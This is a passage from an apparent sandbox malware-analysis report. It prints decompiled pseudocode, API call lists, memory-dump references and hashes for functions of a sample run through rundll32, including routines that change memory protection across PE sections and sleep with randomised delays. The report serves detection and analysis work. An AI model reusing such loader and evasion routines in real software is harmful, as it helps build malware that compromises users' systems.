									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x4d5a17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E04D523C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                  0x04d52523
                  0x04d5252d
                  0x04d52530
                  0x04d52533
                  0x04d52536
                  0x04d5253d
                  0x04d5253f
                  0x04d5254b
                  0x04d5254d
                  0x04d5254d
                  0x04d52556
                  0x04d5255c
                  0x04d52561
                  0x04d5257b
                  0x04d52587
                  0x04d52589
                  0x04d5258e
                  0x04d52598
                  0x04d52598
                  0x04d52590
                  0x04d52590
                  0x04d52590
                  0x04d52590
                  0x04d5259f
                  0x04d525ac
                  0x04d525b3
                  0x04d525b8
                  0x04d525b8
                  0x04d525c1
                  0x04d525c4
                  0x04d525ea
                  0x04d525ef
                  0x04d525fb
                  0x04d52600
                  0x04d52605
                  0x04d5260a
                  0x04d5260c
                  0x04d52638
                  0x04d5263a
                  0x04d5260e
                  0x04d52612
                  0x04d52617
                  0x04d5261c
                  0x04d52623
                  0x04d52629
                  0x04d5262e
                  0x04d52634
                  0x04d5263b
                  0x04d5263d
                  0x04d5263f
                  0x04d5264e
                  0x04d52654
                  0x04d52659
                  0x04d5265b
                  0x04d5268b
                  0x04d5268d
                  0x04d5265d
                  0x04d5265d
                  0x04d52663
                  0x04d52670
                  0x04d52676
                  0x04d52676
                  0x04d5267e
                  0x04d52687
                  0x04d5268e
                  0x04d52690
                  0x04d52692
                  0x04d52699
                  0x04d526a6
                  0x04d526b0
                  0x04d526b2
                  0x04d526b4
                  0x00000000
                  0x00000000
                  0x04d526b6
                  0x04d526bb
                  0x04d526bd
                  0x04d526c4
                  0x04d526c8
                  0x04d526cb
                  0x04d526e0
                  0x04d526e4
                  0x04d526e9
                  0x00000000
                  0x04d526e9
                  0x04d526cd
                  0x04d526cf
                  0x00000000
                  0x00000000
                  0x04d526da
                  0x04d526dc
                  0x04d526de
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d526de
                  0x04d526c1
                  0x04d526c1
                  0x04d52692
                  0x04d525c6
                  0x04d525c6
                  0x04d525cb
                  0x04d526eb
                  0x04d526f0
                  0x04d526f8
                  0x04d526f8
                  0x00000000
                  0x04d526f0
                  0x04d525d1
                  0x04d525d4
                  0x04d525de
                  0x04d525e5
                  0x00000000
                  0x04d52700
                  0x04d52700
                  0x04d52703
                  0x04d52707
                  0x04d52707

                  APIs
                    • Part of subcall function 04D54520: GetModuleHandleA.KERNEL32(4C44544E,00000000,04D5253B,00000001), ref: 04D5452F
                  • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04D525B8
                    • Part of subcall function 04D527A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 04D527C4
                    • Part of subcall function 04D527A0: wsprintfA.USER32 ref: 04D52828
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • memset.NTDLL ref: 04D52612
                  • RtlInitializeCriticalSection.NTDLL(05C795C0), ref: 04D52623
                    • Part of subcall function 04D55C31: memset.NTDLL ref: 04D55C4B
                    • Part of subcall function 04D55C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04D55C91
                    • Part of subcall function 04D55C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 04D55C9C
                  • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04D5264E
                  • wsprintfA.USER32 ref: 04D5267E
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                  • String ID:
                  • API String ID: 1825273115-0
                  • Opcode ID: 52d6789af742585bdead7e5bfc3a6c2ef77fb85aa97dc0f9d4a81464d572c0b0
                  • Instruction ID: 3ab98deb8c6a438c28a739f698b814cc38f20ed6b61bc7d07d100a08f45d45af
                  • Opcode Fuzzy Hash: 52d6789af742585bdead7e5bfc3a6c2ef77fb85aa97dc0f9d4a81464d572c0b0
                  • Instruction Fuzzy Hash: 3651A471B01325AFEF11ABA4DC69B5E37A8FB04714F044596ED05E7360EE74B9488F50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D54358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(80000002), ref: 04D543B5
                  • SysAllocString.OLEAUT32(04D54D42), ref: 04D543F9
                  • SysFreeString.OLEAUT32(00000000), ref: 04D5440D
                  • SysFreeString.OLEAUT32(00000000), ref: 04D5441B
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFree
                  • String ID:
                  • API String ID: 344208780-0
                  • Opcode ID: cccc326b427aaad3182ae8532cb210e9d4a8fda84eac4b95fa26e06a7fa3f6e7
                  • Instruction ID: 8a87b91d5ae24010add932a0e72180c4121a9e01445b1f797e817539df05aa03
                  • Opcode Fuzzy Hash: cccc326b427aaad3182ae8532cb210e9d4a8fda84eac4b95fa26e06a7fa3f6e7
                  • Instruction Fuzzy Hash: 80311E75940209EFDF04DFD8D4949AE7BB9FF48345B10842EF90697260DB74AA81CF62
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 65%
                  			E04D5213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L04D58436();
					_t34 = _t16 + _t13;
					_t17 = E04D56269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                  0x04d52143
                  0x04d5214e
                  0x04d5214f
                  0x04d5214f
                  0x04d5215b
                  0x04d52164
                  0x04d52167
                  0x04d5216b
                  0x04d5216d
                  0x04d52172
                  0x04d52173
                  0x04d52174
                  0x04d5217e
                  0x04d52181
                  0x04d52188
                  0x04d5218c
                  0x04d52193
                  0x04d52199
                  0x04d521a3

                  APIs
                  • SwitchToThread.KERNEL32(?,00000001,?,?,?,04D55044,?,?), ref: 04D5214F
                  • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,04D55044,?,?), ref: 04D5215B
                  • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 04D52174
                    • Part of subcall function 04D56269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 04D56308
                  • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,04D55044,?,?), ref: 04D52193
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                  • String ID:
                  • API String ID: 1610602887-0
                  • Opcode ID: 5ed9a7857aef8c1fd2b37e4ff4c2ebcbbc76648cc4d4462110884b6ab8aa5378
                  • Instruction ID: 8dda11de50320b912ba0c047ca40acd752e4309e1d37025f8488b35b4a2d6598
                  • Opcode Fuzzy Hash: 5ed9a7857aef8c1fd2b37e4ff4c2ebcbbc76648cc4d4462110884b6ab8aa5378
                  • Instruction Fuzzy Hash: D8F0A977B40204B7DB145694DC29FDF77BDD784351F100554FA01E7340EE78AA0186A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E04CC1FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E04CC1226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                  0x04cc1ffe
                  0x04cc2003
                  0x04cc2011
                  0x04cc2016
                  0x04cc2016
                  0x04cc201c
                  0x04cc2021
                  0x04cc2025
                  0x04cc2029
                  0x04cc2029
                  0x04cc2033
                  0x04cc203c

                  APIs
                  • GetCurrentThread.KERNEL32 ref: 04CC1FF8
                  • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 04CC2003
                  • SetThreadPriority.KERNEL32(00000000,000000FF), ref: 04CC2016
                  • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 04CC2029
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: Thread$Priority$AffinityCurrentMask
                  • String ID:
                  • API String ID: 1452675757-0
                  • Opcode ID: dac76a8c6988b92dda10da4401220d6e9bc070f4af3eb015e92a04a1c7c8cbc0
                  • Instruction ID: 5af2cfca68900a45b438800bf2006beea4edec56d93fea5e73a518713ce39701
                  • Opcode Fuzzy Hash: dac76a8c6988b92dda10da4401220d6e9bc070f4af3eb015e92a04a1c7c8cbc0
                  • Instruction Fuzzy Hash: E8E092362056112BA3222A29AC84FAB775DEF95331705422AF921D22E0DF589D0699A5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D55251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E04D56ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x4d5a348; // 0xf1d5a8
				_t4 = _t24 + 0x4d5bc70; // 0x5c79218
				_t5 = _t24 + 0x4d5bb60; // 0x4f0053
				_t26 = E04D533F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x4d5a348; // 0xf1d5a8
						_t11 = _t32 + 0x4d5bcc8; // 0x5c79270
						_t48 = _t11;
						_t12 = _t32 + 0x4d5bb60; // 0x4f0053
						_t52 = E04D55DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x4d5a348; // 0xf1d5a8
							_t13 = _t35 + 0x4d5bcf0; // 0x30314549
							if(E04D55157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x4d5a2fc - 6;
								if( *0x4d5a2fc <= 6) {
									_t42 =  *0x4d5a348; // 0xf1d5a8
									_t15 = _t42 + 0x4d5bcd2; // 0x52384549
									E04D55157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x4d5a348; // 0xf1d5a8
							_t17 = _t38 + 0x4d5bbb8; // 0x5c79160
							_t18 = _t38 + 0x4d5bc1c; // 0x680043
							_t40 = E04D55B0E(_v8, 0x80000001, _t52, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x4d5a2d8, 0, _t52);
						}
					}
					HeapFree( *0x4d5a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04D57220(_t54);
				}
				return _t45;
			}



















                  0x04d55251
                  0x04d55261
                  0x04d55264
                  0x04d5526b
                  0x04d5526d
                  0x04d5526d
                  0x04d55270
                  0x04d55275
                  0x04d5527c
                  0x04d55289
                  0x04d5528e
                  0x04d55292
                  0x04d552a0
                  0x04d552ae
                  0x04d552b2
                  0x04d55343
                  0x04d55343
                  0x04d552b8
                  0x04d552b8
                  0x04d552bd
                  0x04d552bd
                  0x04d552c4
                  0x04d552d0
                  0x04d552d2
                  0x04d552d4
                  0x04d552d6
                  0x04d552dd
                  0x04d552ef
                  0x04d552f1
                  0x04d552f8
                  0x04d552fa
                  0x04d55301
                  0x04d5530c
                  0x04d5530c
                  0x04d552f8
                  0x04d55311
                  0x04d55316
                  0x04d5531d
                  0x04d5532d
                  0x04d5533b
                  0x04d5533d
                  0x04d5533d
                  0x04d552d4
                  0x04d5534f
                  0x04d5534f
                  0x04d55351
                  0x04d55356
                  0x04d55358
                  0x04d55358
                  0x04d55363

                  APIs
                  • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05C79218,00000000,?,74D0F710,00000000,74D0F730), ref: 04D552A0
                  • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05C79160,?,00000000,30314549,00000014,004F0053,05C79270), ref: 04D5533D
                  • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04D568B6), ref: 04D5534F
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: c7f73cf4e96af8db84fa4be5080b558c183c2fd851aed1290dbb581827cbeac9
                  • Instruction ID: d6c6c41810fcfb2ffd03c26201507d21147f8939de33e6903405a24b8dd93b24
                  • Opcode Fuzzy Hash: c7f73cf4e96af8db84fa4be5080b558c183c2fd851aed1290dbb581827cbeac9
                  • Instruction Fuzzy Hash: 6D318131A00219FFEF12DBA5ECA8EAE7BBCEB04704F544156A90597234DE71BE44DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E04CC170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0x4cc41c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                  0x04cc1718
                  0x04cc1725
                  0x04cc172b
                  0x04cc1737
                  0x04cc1747
                  0x04cc1749
                  0x04cc1751
                  0x04cc17e5
                  0x04cc17ec
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04cc1757
                  0x04cc1757
                  0x04cc1757
                  0x04cc175b
                  0x00000000
                  0x00000000
                  0x04cc1767
                  0x04cc176b
                  0x04cc178f
                  0x04cc1793
                  0x04cc17a7
                  0x04cc17a7
                  0x04cc17ad
                  0x04cc17bc
                  0x04cc17c0
                  0x04cc17c8
                  0x04cc17c8
                  0x04cc17d4
                  0x04cc17d6
                  0x04cc17df
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04cc17df
                  0x04cc179b
                  0x04cc179f
                  0x04cc17a5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04cc17a5
                  0x04cc1773
                  0x04cc1777
                  0x04cc1781
                  0x04cc1779
                  0x04cc1779
                  0x04cc1779
                  0x00000000
                  0x04cc1777
                  0x00000000

                  APIs
                  • VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 04CC1747
                  • VirtualProtect.KERNEL32(00000000,?,?,?), ref: 04CC17BC
                  • GetLastError.KERNEL32 ref: 04CC17C2
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: ProtectVirtual$ErrorLast
                  • String ID:
                  • API String ID: 1469625949-0
                  • Opcode ID: 91ffe606215479946e8fc70c636001fd73c76c45cb2b51c41216d6e9df86fe2c
                  • Instruction ID: a1f3d5cf52a7d8a3cb7243559f9203bbd1a1d6ed77715210d74eb5460fed9c5d
                  • Opcode Fuzzy Hash: 91ffe606215479946e8fc70c636001fd73c76c45cb2b51c41216d6e9df86fe2c
                  • Instruction Fuzzy Hash: 97212B32D0021AEFCB14CF96C981AA9F7F5FF04305F08586AE412A6811EB38BA55CF54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                  Download Yara Rule
                  C-Code - Quality: 75%
                  			E04D5790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04D54358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x4d5a348; // 0xf1d5a8
						_t20 = _t68 + 0x4d5b270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E04D54984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                  0x04d57911
                  0x04d57914
                  0x04d57924
                  0x04d5792d
                  0x04d57931
                  0x04d579ff
                  0x04d57a05
                  0x04d57a05
                  0x04d5794b
                  0x04d57950
                  0x04d57954
                  0x04d5795a
                  0x04d5795f
                  0x04d57966
                  0x04d57975
                  0x04d57975
                  0x04d57979
                  0x04d5797b
                  0x04d57987
                  0x04d57992
                  0x04d5799d
                  0x04d579a1
                  0x04d579ab
                  0x04d579af
                  0x04d579b1
                  0x04d579b6
                  0x04d579bd
                  0x04d579cd
                  0x04d579cd
                  0x04d579b6
                  0x04d579af
                  0x04d579cf
                  0x04d579d4
                  0x04d579d9
                  0x04d579d9
                  0x04d579dc
                  0x04d579e5
                  0x04d579ea
                  0x04d579ea
                  0x04d579ef
                  0x04d579f4
                  0x04d579f4
                  0x04d579ef
                  0x04d57979
                  0x04d579f6
                  0x04d579fc
                  0x00000000

                  APIs
                    • Part of subcall function 04D54358: SysAllocString.OLEAUT32(80000002), ref: 04D543B5
                    • Part of subcall function 04D54358: SysFreeString.OLEAUT32(00000000), ref: 04D5441B
                  • SysFreeString.OLEAUT32(?), ref: 04D579EA
                  • SysFreeString.OLEAUT32(04D54D42), ref: 04D579F4
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloc
                  • String ID:
                  • API String ID: 986138563-0
                  • Opcode ID: 5d7a7b079e9dbe7415e0228582318941881c04987f0dcd8f66aeb2b905b24abb
                  • Instruction ID: 9f3e27e97a3a2ce27e4cd057f749cd7caaf103f8bf5b0215c457aefdc85b914a
                  • Opcode Fuzzy Hash: 5d7a7b079e9dbe7415e0228582318941881c04987f0dcd8f66aeb2b905b24abb
                  • Instruction Fuzzy Hash: 7A310D76600159AFCF11DF58C888C9BBB7AFBCA740B254658FC559B220DB31AD91CBB0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC20A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04CC20A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x4cc41c4;
				if( *0x4cc41ac > 5) {
					_t16 = _t15 + 0x4cc5150;
				} else {
					_t16 = _t15 + 0x4cc527e;
				}
				E04CC1E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E04CC13A7( &_v32,  &_v16,  *0x4cc41c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x4cc41b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E04CC1598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x4cc41b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x4cc41b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E04CC2164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E04CC166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                  0x04cc20aa
                  0x04cc20bb
                  0x04cc20c5
                  0x04cc20bd
                  0x04cc20bd
                  0x04cc20bd
                  0x04cc20cc
                  0x04cc20d5
                  0x04cc20da
                  0x04cc20f1
                  0x04cc20f8
                  0x04cc2155
                  0x04cc20fa
                  0x04cc2100
                  0x04cc2106
                  0x04cc2114
                  0x04cc2118
                  0x04cc211f
                  0x04cc2121
                  0x04cc2127
                  0x04cc212b
                  0x04cc2133
                  0x04cc2144
                  0x04cc2135
                  0x04cc213b
                  0x04cc213b
                  0x04cc2133
                  0x04cc214c
                  0x04cc214c
                  0x04cc2157

                  APIs
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: ExitThreadlstrlen
                  • String ID:
                  • API String ID: 2636182767-0
                  • Opcode ID: 604126bc38a2b126237b82d2b785376298f0d3c75adb5d45741bc0863cf8d52a
                  • Instruction ID: 4854b802abfaa75f3e7f7f5c9d85708e80044bf2a2e2518c3df9eb80749de9c3
                  • Opcode Fuzzy Hash: 604126bc38a2b126237b82d2b785376298f0d3c75adb5d45741bc0863cf8d52a
                  • Instruction Fuzzy Hash: 3D11227A904304AFE711DBA1DC48E9B37EEEB48304F09845EF646D3160EB30FA048B56
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5370C Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(04D557D1), ref: 04D53725
                    • Part of subcall function 04D5790B: SysFreeString.OLEAUT32(?), ref: 04D579EA
                  • SysFreeString.OLEAUT32(00000000), ref: 04D53766
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
